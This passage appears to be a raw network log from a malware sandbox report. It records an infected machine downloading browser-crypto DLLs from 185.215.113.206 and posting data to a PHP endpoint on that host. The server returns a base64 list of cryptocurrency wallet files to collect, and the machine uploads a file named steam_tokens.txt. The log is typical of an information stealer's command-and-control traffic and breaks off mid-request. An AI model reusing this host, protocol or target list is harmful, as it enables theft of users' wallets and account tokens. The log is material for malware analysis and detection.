------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file"------AKFCFBAAEHCFHJJKEHJK--
Oct 31, 2024 11:27:21.056056023 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:21.283252001 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 11:27:21.559968948 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 31, 2024 11:27:21.560014009 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 31, 2024 11:27:21.560028076 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 31, 2024 11:27:21.560039997 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 31, 2024 11:27:21.560050964 CET	424	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 31, 2024 11:27:21.560061932 CET	1236	IN	Data Raw: 83 c4 0c 8b 45 d8 85 c0 74 0a 53 50 e8 5c 00 08 00 83 c4 08 8b 4d f0 31 e9 e8 9a fe 07 00 89 f8 83 c4 24 5e 5f 5b 5d c3 55 89 e5 53 57 56 8b 75 08 85 f6 74 3a 8b 7d 0c 8b 1e 85 db 74 24 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 Data Ascii: EtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1
Oct 31, 2024 11:27:21.560081959 CET	1236	IN	Data Raw: ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 89 08 31 db 89 d8 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 8b 75 08 8b 3e 8b 46 04 Data Ascii: t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVu
Oct 31, 2024 11:27:21.560091019 CET	24	IN	Data Raw: 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 Data Ascii: >
Oct 31, 2024 11:27:21.560328960 CET	1236	IN	Data Raw: 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 Data Ascii: >fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}
Oct 31, 2024 11:27:22.761554003 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 11:27:23.036983013 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 31, 2024 11:27:23.677031994 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 11:27:23.953346014 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 31, 2024 11:27:24.462683916 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 11:27:24.738188028 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 31, 2024 11:27:26.141585112 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 11:27:26.418123007 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 31, 2024 11:27:26.918178082 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 11:27:27.318419933 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 31, 2024 11:27:27.690787077 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHD Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 11:27:28.471072912 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:28.608026028 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAEHCAEGDHJKFHJKFIJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------CBAEHCAEGDHJKFHJKFIJContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------CBAEHCAEGDHJKFHJKFIJContent-Disposition: form-data; name="message"wallets------CBAEHCAEGDHJKFHJKFIJ--
Oct 31, 2024 11:27:28.885725021 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 31, 2024 11:27:28.890710115 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIEBGHDAEBGDGCFIID Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="message"files------HDGIEBGHDAEBGDGCFIID--
Oct 31, 2024 11:27:29.258019924 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:29.271069050 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBAAEGDBKKECBGIJEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="file"------JJDBAAEGDBKKECBGIJEB--
Oct 31, 2024 11:27:30.039722919 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:30.067884922 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 